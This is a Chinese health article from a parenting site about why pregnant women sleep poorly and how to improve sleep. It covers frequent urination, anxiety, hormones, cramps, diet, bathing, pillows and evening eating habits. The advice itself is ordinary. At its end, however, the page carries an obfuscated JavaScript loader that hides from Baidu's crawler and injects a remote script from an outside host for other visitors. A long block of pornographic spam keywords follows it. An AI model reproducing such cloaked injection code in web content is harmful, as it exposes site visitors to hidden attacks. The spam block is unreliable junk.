當前位置:首頁 > 母嬰 > 懷孕知識 > 正文

孕婦睡眠不好的原因有哪些

2017-06-22 21:14:14  來源:360常識網(wǎng)   熱度:
導語:懷孕后,因為擔心胎寶寶的發(fā)育狀況,以及受到荷爾蒙的影響,孕期的情緒會變得不太穩(wěn)定,當孕媽感到壓力大時就會變得緊張和焦慮。這樣的情緒對睡眠有極大的不利影響,所以孕媽媽要避免工作壓力過大以及作息不正常。

孕婦睡眠不好的原因有哪些

孕婦睡眠不好的原因有哪些

常常聽到周圍一些孕媽媽抱怨說懷孕之后就沒睡過好覺,翻來覆去總是睡不著。要改善睡眠質(zhì)量,首先要知道導致孕婦睡眠不好的原因是什么。

1、尿頻

女性懷孕后,子宮為了適應(yīng)胎兒的生長發(fā)育就會不斷的增大和擴張,這樣直接壓迫了體內(nèi)的膀胱,所以就容易導致尿頻尿急的情況。初期可能有一半的孕媽媽尿頻,妊娠后期,有將近80%的孕媽媽為尿頻困擾,會增加晚上起床上廁所的次數(shù),這樣就嚴重影響了孕媽媽的睡眠。

2、焦慮

懷孕后,因為擔心胎寶寶的發(fā)育狀況,以及受到荷爾蒙的影響,孕期的情緒會變得不太穩(wěn)定,當孕媽感到壓力大時就會變得緊張和焦慮。這樣的情緒對睡眠有極大的不利影響,所以孕媽媽要避免工作壓力過大以及作息不正常。

3、荷爾蒙變化

孕期荷爾蒙(黃體酮)變化會讓孕媽媽情緒不太穩(wěn)定,精神和心理上都變得比較敏感,對于壓力的耐受力也會降低,常會有憂郁和失眠等癥狀的發(fā)生。

4、半夜抽筋

妊娠后期,由于胎兒發(fā)育需要大量的鈣,而孕婦不注意補鈣就容易半夜抽筋;還有就是因為子宮逐漸增大,導致壓迫小腿和下肢部位,造成血液循環(huán)不良,誘發(fā)抽筋。許多孕媽媽都會出現(xiàn)抽筋的癥狀,這也會影響到睡眠的質(zhì)量。

5、飲食習慣改變

有的孕媽媽孕早期白天孕吐嚴重,導致進食少,而到了夜間又肚子餓而影響睡眠;有的孕媽媽因為擔心胎兒發(fā)育營養(yǎng)不夠,睡前大量飲食,導致食物難以消化,這些都容易導致孕婦睡眠不好。

孕婦睡眠不好怎么辦

當孕婦出現(xiàn)好幾天都睡不著的情況的話,不妨從以下的幾種方法來改善。

睡前準備

1、洗一個舒服的澡

睡前洗一個舒服的澡能使全身放松,有一定的催眠作用。冬天的時候,一定要保證足部保暖,可以泡腳改善,還能請家人幫忙熱敷和按摩來防止抽筋。

2、增加枕頭

適當增加一點枕頭的高度有利于改善睡眠。還可以用枕頭來支撐腹部和背部,放一個枕頭在腿部之間可以承托下沉的背部有助入睡。

3、放松心情

懷孕期間保持愉快輕松的心情對胎兒發(fā)育能起到積極作用。實在睡不著,可以看看報紙或書,不要強迫自己睡覺,這樣反而會讓自己變得緊張。還可以聽聽舒緩的音樂,一方面有助于胎教,另一方面也能使你心境平和、安靜入睡。

4、睡前3-4小時內(nèi)不宜運動。

睡覺前運動會讓人的精神變得興奮,不利于睡眠。孕婦可以在白天適當做一些簡單的運動如舒展肢體、瑜伽、按摩和深呼吸,這樣有利于晚上睡眠。

5、白天少睡

女性懷孕后,精神乏困,身體也變得更不想動,于是個別孕媽媽白天大部分時間都在睡覺。白天睡太多,晚上就容易失眠,所以孕媽媽白天應(yīng)該找一些其他的事情來緩解嗜睡的現(xiàn)象,白天盡量少睡。

睡前飲食

1、睡前不喝咖啡、茶,油炸食物、難消化食物。尿頻嚴重時,上午多喝水,下午和晚上少喝水。睡前吃適量的點心,能防止隔日醒來頭痛。少吃精淀粉食物,如白面包、白米飯、甜食等。

2、牛奶加點蜂蜜,有助于入睡,但要提前兩小時喝。高蛋白零食提高血糖水平、防做惡夢、頭痛、發(fā)熱。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产一精品一aⅴ一免费| 国产精品俺来也在线观看| 四虎精品在线视频| 一本久久a久久精品综合夜夜| 国产九九久久99精品影院| 亚洲国产精品成人综合久久久| 精品91自产拍在线观看| 国产综合色香蕉精品五月婷| 久久精品国产69国产精品亚洲| 国产精品va无码二区| 97久久精品人妻人人搡人人玩| 久久精品国产99国产精偷| 午夜精品一区二区三区在线视 | 夜夜精品无码一区二区三区| 国产精品成人观看视频国产| 久久精品国产免费一区| re99热久久这里只有精品| 国产日产欧产精品精品浪潮 | 国产成人精品18| 麻豆国产在线精品国偷产拍| 亚洲av无码成人精品区在线播放 | 国产精品水嫩水嫩| 久久久精品视频免费观看| 国产精品久久久久网站| 亚洲AV无码精品国产成人| 久久亚洲精品成人无码网站| 国产AV国片精品| 久久久久无码精品亚洲日韩| 久久久久久久久久免免费精品 | 2020国产成人久久精品| 99视频都是精品热在线播放| 国产亚洲美女精品久久久2020| 国产成人精品大尺度在线观看| 在线精品国精品国产不卡| 国产模特众筹精品视频| 在线观看精品视频一区二区三区| 亚洲日韩国产精品乱-久| 亚洲精品无码久久久久久久 | 国产成人精品一区二三区| 亚洲AV无码精品国产成人| 国产精品一久久香蕉国产线看|